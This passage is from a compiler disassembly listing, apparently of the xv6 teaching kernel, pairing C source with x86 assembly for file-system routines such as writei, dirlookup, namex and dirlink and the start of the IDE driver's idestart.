tot<n; tot+=m, off+=m, dst+=m){ 80101a17: 01 5d e0 add %ebx,-0x20(%ebp) 80101a1a: 83 c4 10 add $0x10,%esp 80101a1d: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a20: 77 9e ja 801019c0 <readi+0x60> } return n; 80101a22: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a25: 8d 65 f4 lea -0xc(%ebp),%esp 80101a28: 5b pop %ebx 80101a29: 5e pop %esi 80101a2a: 5f pop %edi 80101a2b: 5d pop %ebp 80101a2c: c3 ret 80101a2d: 8d 76 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a30: 0f bf 40 52 movswl 0x52(%eax),%eax 80101a34: 66 83 f8 09 cmp $0x9,%ax 80101a38: 77 17 ja 80101a51 <readi+0xf1> 80101a3a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a41: 85 c0 test %eax,%eax 80101a43: 74 0c je 80101a51 <readi+0xf1> return devsw[ip->major].read(ip, dst, n); 80101a45: 89 7d 10 mov %edi,0x10(%ebp) } 80101a48: 8d 65 f4 lea -0xc(%ebp),%esp 80101a4b: 5b pop %ebx 80101a4c: 5e pop %esi 80101a4d: 5f pop %edi 80101a4e: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a4f: ff e0 jmp *%eax return -1; 80101a51: b8 ff ff ff ff mov $0xffffffff,%eax 80101a56: eb cd jmp 80101a25 <readi+0xc5> 80101a58: 90 nop 80101a59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101a60 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a60: 55 push %ebp 80101a61: 89 e5 mov %esp,%ebp 80101a63: 57 push %edi 80101a64: 56 push %esi 80101a65: 53 push %ebx 80101a66: 83 ec 1c sub $0x1c,%esp 80101a69: 8b 45 08 mov 0x8(%ebp),%eax 80101a6c: 8b 75 0c mov 0xc(%ebp),%esi 80101a6f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a72: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a77: 89 75 dc mov %esi,-0x24(%ebp) 80101a7a: 89 45 d8 mov %eax,-0x28(%ebp) 80101a7d: 8b 75 10 mov 0x10(%ebp),%esi 80101a80: 89 7d e0 mov %edi,-0x20(%ebp) if(ip->type == T_DEV){ 80101a83: 0f 84 b7 00 00 00 je 80101b40 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a89: 8b 45 d8 mov -0x28(%ebp),%eax 80101a8c: 39 70 58 cmp %esi,0x58(%eax) 80101a8f: 0f 82 eb 00 00 00 jb 80101b80 <writei+0x120> 80101a95: 8b 7d e0 mov -0x20(%ebp),%edi 80101a98: 31 d2 xor %edx,%edx 80101a9a: 89 f8 mov %edi,%eax 80101a9c: 01 f0 add %esi,%eax 80101a9e: 0f 92 c2 setb %dl return -1; if(off + n > MAXFILE*BSIZE) 80101aa1: 3d 00 18 01 00 cmp $0x11800,%eax 80101aa6: 0f 87 d4 00 00 00 ja 80101b80 <writei+0x120> 80101aac: 85 d2 test %edx,%edx 80101aae: 0f 85 cc 00 00 00 jne 80101b80 <writei+0x120> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101ab4: 85 ff test %edi,%edi 80101ab6: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101abd: 74 72 je 80101b31 <writei+0xd1> 80101abf: 90 nop bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac0: 8b 7d d8 mov -0x28(%ebp),%edi 80101ac3: 89 f2 mov %esi,%edx 80101ac5: c1 ea 09 shr $0x9,%edx 80101ac8: 89 f8 mov %edi,%eax 80101aca: e8 91 f8 ff ff call 80101360 <bmap> 80101acf: 83 ec 08 sub $0x8,%esp 80101ad2: 50 push %eax 80101ad3: ff 37 pushl (%edi) 80101ad5: e8 f6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101ada: 8b 5d e0 mov -0x20(%ebp),%ebx 80101add: 2b 5d e4 sub -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ae0: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ae2: 89 f0 mov %esi,%eax 80101ae4: b9 00 02 00 00 mov $0x200,%ecx 80101ae9: 83 c4 0c add $0xc,%esp 80101aec: 25 ff 01 00 00 and $0x1ff,%eax 80101af1: 29 c1 sub %eax,%ecx memmove(bp->data + off%BSIZE, src, m); 80101af3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 80101af7: 39 d9 cmp %ebx,%ecx 80101af9: 0f 46 d9 cmovbe %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101afc: 53 push %ebx 80101afd: ff 75 dc pushl -0x24(%ebp) for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b00: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101b02: 50 push %eax 80101b03: e8 c8 2a 00 00 call 801045d0 <memmove> log_write(bp); 80101b08: 89 3c 24 mov %edi,(%esp) 80101b0b: e8 60 12 00 00 call 80102d70 <log_write> brelse(bp); 80101b10: 89 3c 24 mov %edi,(%esp) 80101b13: e8 c8 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b18: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b1b: 01 5d dc add %ebx,-0x24(%ebp) 80101b1e: 83 c4 10 add $0x10,%esp 80101b21: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b24: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b27: 77 97 ja 80101ac0 <writei+0x60> } if(n > 0 && off > ip->size){ 80101b29: 8b 45 d8 mov -0x28(%ebp),%eax 80101b2c: 3b 70 58 cmp 0x58(%eax),%esi 80101b2f: 77 37 ja 80101b68 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b31: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b34: 8d 65 f4 lea -0xc(%ebp),%esp 80101b37: 5b pop %ebx 80101b38: 5e pop %esi 80101b39: 5f pop %edi 80101b3a: 5d pop %ebp 80101b3b: c3 ret 80101b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b40: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b44: 66 83 f8 09 cmp $0x9,%ax 80101b48: 77 36 ja 80101b80 <writei+0x120> 80101b4a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b51: 85 c0 test %eax,%eax 80101b53: 74 2b je 80101b80 <writei+0x120> return devsw[ip->major].write(ip, src, n); 80101b55: 89 7d 10 mov %edi,0x10(%ebp) } 80101b58: 8d 65 f4 lea -0xc(%ebp),%esp 80101b5b: 5b pop %ebx 80101b5c: 5e pop %esi 80101b5d: 5f pop %edi 80101b5e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b5f: ff e0 jmp *%eax 80101b61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b68: 8b 45 d8 mov -0x28(%ebp),%eax iupdate(ip); 80101b6b: 83 ec 0c sub $0xc,%esp ip->size = off; 80101b6e: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b71: 50 push %eax 80101b72: e8 59 fa ff ff call 801015d0 <iupdate> 80101b77: 83 c4 10 add $0x10,%esp 80101b7a: eb b5 jmp 80101b31 <writei+0xd1> 80101b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101b80: b8 ff ff ff ff mov $0xffffffff,%eax 80101b85: eb ad jmp 80101b34 <writei+0xd4> 80101b87: 89 f6 mov %esi,%esi 80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b90 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b90: 55 push %ebp 80101b91: 89 e5 mov %esp,%ebp 80101b93: 83 ec 0c sub $0xc,%esp return strncmp(s, t, DIRSIZ); 80101b96: 6a 0e push $0xe 80101b98: ff 75 0c pushl 0xc(%ebp) 80101b9b: ff 75 08 pushl 0x8(%ebp) 80101b9e: e8 9d 2a 00 00 call 80104640 <strncmp> } 80101ba3: c9 leave 80101ba4: c3 ret 80101ba5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bb0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bb0: 55 push %ebp 80101bb1: 89 e5 mov %esp,%ebp 80101bb3: 57 push %edi 80101bb4: 56 push %esi 80101bb5: 53 push %ebx 80101bb6: 83 ec 1c sub $0x1c,%esp 80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bc1: 0f 85 85 00 00 00 jne 80101c4c <dirlookup+0x9c> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bc7: 8b 53 58 mov 0x58(%ebx),%edx 80101bca: 31 ff xor %edi,%edi 80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bcf: 85 d2 test %edx,%edx 80101bd1: 74 3e je 80101c11 <dirlookup+0x61> 80101bd3: 90 nop 80101bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bd8: 6a 10 push $0x10 80101bda: 57 push %edi 80101bdb: 56 push %esi 80101bdc: 53 push %ebx 80101bdd: e8 7e fd ff ff call 80101960 <readi> 80101be2: 83 c4 10 add $0x10,%esp 80101be5: 83 f8 10 cmp $0x10,%eax 80101be8: 75 55 jne 80101c3f <dirlookup+0x8f> panic("dirlookup read"); if(de.inum == 0) 80101bea: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101bef: 74 18 je 80101c09 <dirlookup+0x59> return strncmp(s, t, DIRSIZ); 80101bf1: 8d 45 da lea -0x26(%ebp),%eax 80101bf4: 83 ec 04 sub $0x4,%esp 80101bf7: 6a 0e push $0xe 80101bf9: 50 push %eax 80101bfa: ff 75 0c pushl 0xc(%ebp) 80101bfd: e8 3e 2a 00 00 call 80104640 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c02: 83 c4 10 add $0x10,%esp 80101c05: 85 c0 test %eax,%eax 80101c07: 74 17 je 80101c20 <dirlookup+0x70> for(off = 0; off < dp->size; off += sizeof(de)){ 80101c09: 83 c7 10 add $0x10,%edi 80101c0c: 3b 7b 58 cmp 0x58(%ebx),%edi 80101c0f: 72 c7 jb 80101bd8 <dirlookup+0x28> return iget(dp->dev, inum); } } return 0; } 80101c11: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80101c14: 31 c0 xor %eax,%eax } 80101c16: 5b pop %ebx 80101c17: 5e pop %esi 80101c18: 5f pop %edi 80101c19: 5d pop %ebp 80101c1a: c3 ret 80101c1b: 90 nop 80101c1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(poff) 80101c20: 8b 45 10 mov 0x10(%ebp),%eax 80101c23: 85 c0 test %eax,%eax 80101c25: 74 05 je 80101c2c <dirlookup+0x7c> *poff = off; 80101c27: 8b 45 10 mov 0x10(%ebp),%eax 80101c2a: 89 38 mov %edi,(%eax) inum = de.inum; 80101c2c: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c30: 8b 03 mov (%ebx),%eax 80101c32: e8 59 f6 ff ff call 80101290 <iget> } 80101c37: 8d 65 f4 lea -0xc(%ebp),%esp 80101c3a: 5b pop %ebx 80101c3b: 5e pop %esi 80101c3c: 5f pop %edi 80101c3d: 5d pop %ebp 80101c3e: c3 ret panic("dirlookup read"); 80101c3f: 83 ec 0c sub $0xc,%esp 80101c42: 68 39 71 10 80 push $0x80107139 80101c47: e8 44 e7 ff ff call 80100390 <panic> panic("dirlookup not DIR"); 80101c4c: 83 ec 0c sub $0xc,%esp 80101c4f: 68 27 71 10 80 push $0x80107127 80101c54: e8 37 e7 ff ff call 80100390 <panic> 80101c59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c60 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c60: 55 push %ebp 80101c61: 89 e5 mov %esp,%ebp 80101c63: 57 push %edi 80101c64: 56 push %esi 80101c65: 53 push %ebx 80101c66: 89 cf mov %ecx,%edi 80101c68: 89 c3 mov %eax,%ebx 80101c6a: 83 ec 1c sub $0x1c,%esp struct inode *ip, *next; if(*path == '/') 80101c6d: 80 38 2f cmpb $0x2f,(%eax) { 80101c70: 89 55 e0 mov %edx,-0x20(%ebp) if(*path == '/') 80101c73: 0f 84 67 01 00 00 je 80101de0 <namex+0x180> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c79: e8 62 1b 00 00 call 801037e0 <myproc> acquire(&icache.lock); 80101c7e: 83 ec 0c sub $0xc,%esp ip = idup(myproc()->cwd); 80101c81: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101c84: 68 e0 09 11 80 push $0x801109e0 80101c89: e8 82 27 00 00 call 80104410 <acquire> ip->ref++; 80101c8e: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101c92: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c99: e8 32 28 00 00 call 801044d0 <release> 80101c9e: 83 c4 10 add $0x10,%esp 80101ca1: eb 08 jmp 80101cab <namex+0x4b> 80101ca3: 90 nop 80101ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi path++; 80101ca8: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101cab: 0f b6 03 movzbl (%ebx),%eax 80101cae: 3c 2f cmp $0x2f,%al 80101cb0: 74 f6 je 80101ca8 <namex+0x48> if(*path == 0) 80101cb2: 84 c0 test %al,%al 80101cb4: 0f 84 ee 00 00 00 je 80101da8 <namex+0x148> while(*path != '/' && *path != 0) 80101cba: 0f b6 03 movzbl (%ebx),%eax 80101cbd: 3c 2f cmp $0x2f,%al 80101cbf: 0f 84 b3 00 00 00 je 80101d78 <namex+0x118> 80101cc5: 84 c0 test %al,%al 80101cc7: 89 da mov %ebx,%edx 80101cc9: 75 09 jne 80101cd4 <namex+0x74> 80101ccb: e9 a8 00 00 00 jmp 80101d78 <namex+0x118> 80101cd0: 84 c0 test %al,%al 80101cd2: 74 0a je 80101cde <namex+0x7e> path++; 80101cd4: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101cd7: 0f b6 02 movzbl (%edx),%eax 80101cda: 3c 2f cmp $0x2f,%al 80101cdc: 75 f2 jne 80101cd0 <namex+0x70> 80101cde: 89 d1 mov %edx,%ecx 80101ce0: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101ce2: 83 f9 0d cmp $0xd,%ecx 80101ce5: 0f 8e 91 00 00 00 jle 80101d7c <namex+0x11c> memmove(name, s, DIRSIZ); 80101ceb: 83 ec 04 sub $0x4,%esp 80101cee: 89 55 e4 mov %edx,-0x1c(%ebp) 80101cf1: 6a 0e push $0xe 80101cf3: 53 push %ebx 80101cf4: 57 push %edi 80101cf5: e8 d6 28 00 00 call 801045d0 <memmove> path++; 80101cfa: 8b 55 e4 mov -0x1c(%ebp),%edx memmove(name, s, DIRSIZ); 80101cfd: 83 c4 10 add $0x10,%esp path++; 80101d00: 89 d3 mov %edx,%ebx while(*path == '/') 80101d02: 80 3a 2f cmpb $0x2f,(%edx) 80101d05: 75 11 jne 80101d18 <namex+0xb8> 80101d07: 89 f6 mov %esi,%esi 80101d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi path++; 80101d10: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d13: 80 3b 2f cmpb $0x2f,(%ebx) 80101d16: 74 f8 je 80101d10 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d18: 83 ec 0c sub $0xc,%esp 80101d1b: 56 push %esi 80101d1c: e8 5f f9 ff ff call 80101680 <ilock> if(ip->type != T_DIR){ 80101d21: 83 c4 10 add $0x10,%esp 80101d24: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d29: 0f 85 91 00 00 00 jne 80101dc0 <namex+0x160> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d2f: 8b 55 e0 mov -0x20(%ebp),%edx 80101d32: 85 d2 test %edx,%edx 80101d34: 74 09 je 80101d3f <namex+0xdf> 80101d36: 80 3b 00 cmpb $0x0,(%ebx) 80101d39: 0f 84 b7 00 00 00 je 80101df6 <namex+0x196> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d3f: 83 ec 04 sub $0x4,%esp 80101d42: 6a 00 push $0x0 80101d44: 57 push %edi 80101d45: 56 push %esi 80101d46: e8 65 fe ff ff call 80101bb0 <dirlookup> 80101d4b: 83 c4 10 add $0x10,%esp 80101d4e: 85 c0 test %eax,%eax 80101d50: 74 6e je 80101dc0 <namex+0x160> iunlock(ip); 80101d52: 83 ec 0c sub $0xc,%esp 80101d55: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d58: 56 push %esi 80101d59: e8 02 fa ff ff call 80101760 <iunlock> iput(ip); 80101d5e: 89 34 24 mov %esi,(%esp) 80101d61: e8 4a fa ff ff call 801017b0 <iput> 80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d69: 83 c4 10 add $0x10,%esp 80101d6c: 89 c6 mov %eax,%esi 80101d6e: e9 38 ff ff ff jmp 80101cab <namex+0x4b> 80101d73: 90 nop 80101d74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(*path != '/' && *path != 0) 80101d78: 89 da mov %ebx,%edx 80101d7a: 31 c9 xor %ecx,%ecx memmove(name, s, len); 80101d7c: 83 ec 04 sub $0x4,%esp 80101d7f: 89 55 dc mov %edx,-0x24(%ebp) 80101d82: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d85: 51 push %ecx 80101d86: 53 push %ebx 80101d87: 57 push %edi 80101d88: e8 43 28 00 00 call 801045d0 <memmove> name[len] = 0; 80101d8d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101d90: 8b 55 dc mov -0x24(%ebp),%edx 80101d93: 83 c4 10 add $0x10,%esp 80101d96: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101d9a: 89 d3 mov %edx,%ebx 80101d9c: e9 61 ff ff ff jmp 80101d02 <namex+0xa2> 80101da1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101da8: 8b 45 e0 mov -0x20(%ebp),%eax 80101dab: 85 c0 test %eax,%eax 80101dad: 75 5d jne 80101e0c <namex+0x1ac> iput(ip); return 0; } return ip; } 80101daf: 8d 65 f4 lea -0xc(%ebp),%esp 80101db2: 89 f0 mov %esi,%eax 80101db4: 5b pop %ebx 80101db5: 5e pop %esi 80101db6: 5f pop %edi 80101db7: 5d pop %ebp 80101db8: c3 ret 80101db9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi iunlock(ip); 80101dc0: 83 ec 0c sub $0xc,%esp 80101dc3: 56 push %esi 80101dc4: e8 97 f9 ff ff call 80101760 <iunlock> iput(ip); 80101dc9: 89 34 24 mov %esi,(%esp) return 0; 80101dcc: 31 f6 xor %esi,%esi iput(ip); 80101dce: e8 dd f9 ff ff call 801017b0 <iput> return 0; 80101dd3: 83 c4 10 add $0x10,%esp } 80101dd6: 8d 65 f4 lea -0xc(%ebp),%esp 80101dd9: 89 f0 mov %esi,%eax 80101ddb: 5b pop %ebx 80101ddc: 5e pop %esi 80101ddd: 5f pop %edi 80101dde: 5d pop %ebp 80101ddf: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101de0: ba 01 00 00 00 mov $0x1,%edx 80101de5: b8 01 00 00 00 mov $0x1,%eax 80101dea: e8 a1 f4 ff ff call 80101290 <iget> 80101def: 89 c6 mov %eax,%esi 80101df1: e9 b5 fe ff ff jmp 80101cab <namex+0x4b> iunlock(ip); 80101df6: 83 ec 0c sub $0xc,%esp 80101df9: 56 push %esi 80101dfa: e8 61 f9 ff ff call 80101760 <iunlock> return ip; 80101dff: 83 c4 10 add $0x10,%esp } 80101e02: 8d 65 f4 lea -0xc(%ebp),%esp 80101e05: 89 f0 mov %esi,%eax 80101e07: 5b pop %ebx 80101e08: 5e pop %esi 80101e09: 5f pop %edi 80101e0a: 5d pop %ebp 80101e0b: c3 ret iput(ip); 80101e0c: 83 ec 0c sub $0xc,%esp 80101e0f: 56 push %esi return 0; 80101e10: 31 f6 xor %esi,%esi iput(ip); 80101e12: e8 99 f9 ff ff call 801017b0 <iput> return 0; 80101e17: 83 c4 10 add $0x10,%esp 80101e1a: eb 93 jmp 80101daf <namex+0x14f> 80101e1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101e20 <dirlink>: { 80101e20: 55 push %ebp 80101e21: 89 e5 mov %esp,%ebp 80101e23: 57 push %edi 80101e24: 56 push %esi 80101e25: 53 push %ebx 80101e26: 83 ec 20 sub $0x20,%esp 80101e29: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e2c: 6a 00 push $0x0 80101e2e: ff 75 0c pushl 0xc(%ebp) 80101e31: 53 push %ebx 80101e32: e8 79 fd ff ff call 80101bb0 <dirlookup> 80101e37: 83 c4 10 add $0x10,%esp 80101e3a: 85 c0 test %eax,%eax 80101e3c: 75 67 jne 80101ea5 <dirlink+0x85> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e3e: 8b 7b 58 mov 0x58(%ebx),%edi 80101e41: 8d 75 d8 lea -0x28(%ebp),%esi 80101e44: 85 ff test %edi,%edi 80101e46: 74 29 je 80101e71 <dirlink+0x51> 80101e48: 31 ff xor %edi,%edi 80101e4a: 8d 75 d8 lea -0x28(%ebp),%esi 80101e4d: eb 09 jmp 80101e58 <dirlink+0x38> 80101e4f: 90 nop 80101e50: 83 c7 10 add $0x10,%edi 80101e53: 3b 7b 58 cmp 0x58(%ebx),%edi 80101e56: 73 19 jae 80101e71 <dirlink+0x51> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e58: 6a 10 push $0x10 80101e5a: 57 push %edi 80101e5b: 56 push %esi 80101e5c: 53 push %ebx 80101e5d: e8 fe fa ff ff call 80101960 <readi> 80101e62: 83 c4 10 add $0x10,%esp 80101e65: 83 f8 10 cmp $0x10,%eax 80101e68: 75 4e jne 80101eb8 <dirlink+0x98> if(de.inum == 0) 80101e6a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e6f: 75 df jne 80101e50 <dirlink+0x30> strncpy(de.name, name, DIRSIZ); 80101e71: 8d 45 da lea -0x26(%ebp),%eax 80101e74: 83 ec 04 sub $0x4,%esp 80101e77: 6a 0e push $0xe 80101e79: ff 75 0c pushl 0xc(%ebp) 80101e7c: 50 push %eax 80101e7d: e8 1e 28 00 00 call 801046a0 <strncpy> de.inum = inum; 80101e82: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e85: 6a 10 push $0x10 80101e87: 57 push %edi 80101e88: 56 push %esi 80101e89: 53 push %ebx de.inum = inum; 80101e8a: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e8e: e8 cd fb ff ff call 80101a60 <writei> 80101e93: 83 c4 20 add $0x20,%esp 80101e96: 83 f8 10 cmp $0x10,%eax 80101e99: 75 2a jne 80101ec5 <dirlink+0xa5> return 0; 80101e9b: 31 c0 xor %eax,%eax } 80101e9d: 8d 65 f4 lea -0xc(%ebp),%esp 80101ea0: 5b pop %ebx 80101ea1: 5e pop %esi 80101ea2: 5f pop %edi 80101ea3: 5d pop %ebp 80101ea4: c3 ret iput(ip); 80101ea5: 83 ec 0c sub $0xc,%esp 80101ea8: 50 push %eax 80101ea9: e8 02 f9 ff ff call 801017b0 <iput> return -1; 80101eae: 83 c4 10 add $0x10,%esp 80101eb1: b8 ff ff ff ff mov $0xffffffff,%eax 80101eb6: eb e5 jmp 80101e9d <dirlink+0x7d> panic("dirlink read"); 80101eb8: 83 ec 0c sub $0xc,%esp 80101ebb: 68 48 71 10 80 push $0x80107148 80101ec0: e8 cb e4 ff ff call 80100390 <panic> panic("dirlink"); 80101ec5: 83 ec 0c sub $0xc,%esp 80101ec8: 68 a6 77 10 80 push $0x801077a6 80101ecd: e8 be e4 ff ff call 80100390 <panic> 80101ed2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ee0 <namei>: struct inode* namei(char *path) { 80101ee0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101ee1: 31 d2 xor %edx,%edx { 80101ee3: 89 e5 mov %esp,%ebp 80101ee5: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101ee8: 8b 45 08 mov 0x8(%ebp),%eax 80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx 80101eee: e8 6d fd ff ff call 80101c60 <namex> } 80101ef3: c9 leave 80101ef4: c3 ret 80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f00 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f00: 55 push %ebp return namex(path, 1, name); 80101f01: ba 01 00 00 00 mov $0x1,%edx { 80101f06: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f0b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f0e: 5d pop %ebp return namex(path, 1, name); 80101f0f: e9 4c fd ff ff jmp 80101c60 <namex> 80101f14: 66 90 xchg %ax,%ax 80101f16: 66 90 xchg %ax,%ax 80101f18: 66 90 xchg %ax,%ax 80101f1a: 66 90 xchg %ax,%ax 80101f1c: 66 90 xchg %ax,%ax 80101f1e: 66 90 xchg %ax,%ax 80101f20 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f20: 55 push %ebp 80101f21: 89 e5 mov %esp,%ebp 80101f23: 57 push %edi 80101f24: 56 push %esi 80101f25: 53 push %ebx 80101f26: 83 ec 0c sub $0xc,%esp if(b == 0) 80101f29: 85 c0 test %eax,%eax 80101f2b: 0f 84 b4 00 00 00 je 80101fe5 <idestart+0xc5> panic("idestart"); if(b->blockno >= FSSIZE) 80101f31: 8b 58 08 mov 0x8(%eax),%ebx 80101f34: 89 c6 mov %eax,%esi 80101f36: 81 fb e7 03 00 00 cmp $0x3e7,%ebx 80101f3c: 0f 87 96 00 00 00 ja 80101fd8 <idestart+0xb8> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f42: b9 f7 01 00 00 mov $0x1f7,%ecx 80101f47: 89 f6 mov %esi,%esi 80101f49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f50: 89 ca mov %ecx,%edx 80101f52: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f53: 83 e0 c0 and $0xffffffc0,%eax 80101f56: 3c 40 cmp $0x40,%al 80101f58: 75 f6 jne 80101f50 <idestart+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f5a: 31 ff xor %edi,%edi 80101f5c: ba f6 03 00 00 mov $0x3f6,%edx 80101f61: 89 f8 mov %edi,%eax 80101f63: ee out %al,(%dx) 80101f64: b8 01 00 00 00 mov $0x1,%eax 80101f69: ba f2 01 00 00 mov $0x1f2,%edx 80101f6e: ee out %al,(%dx) 80101f6f: ba f3 01 00 00 mov $0x1f3,%edx 80101f74: 89 d8 mov %ebx,%eax 80101f76: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f77: 89 d8 mov %ebx,%eax 80101f79: ba f4 01 00 00 mov $0x1f4,%edx 80101f7e: c1 f8 08 sar $0x8,%eax 80101f81: ee out %al,(%dx) 80101f82: ba f5 01 00 00 mov $0x1f5,%edx 80101f87: 89 f8 mov %edi,%eax 80101f89: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101f8a: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101f8e: ba f6 01 00 00 mov $0x1f6,%edx 80101f93: c1 e0 04 shl $0x4,%eax 80101f96: 83 e0 10 and $0x10,%eax 80101f99: 83 c8 e0 or $0xffffffe0,%eax 80101f9c: ee out %al,(%dx) 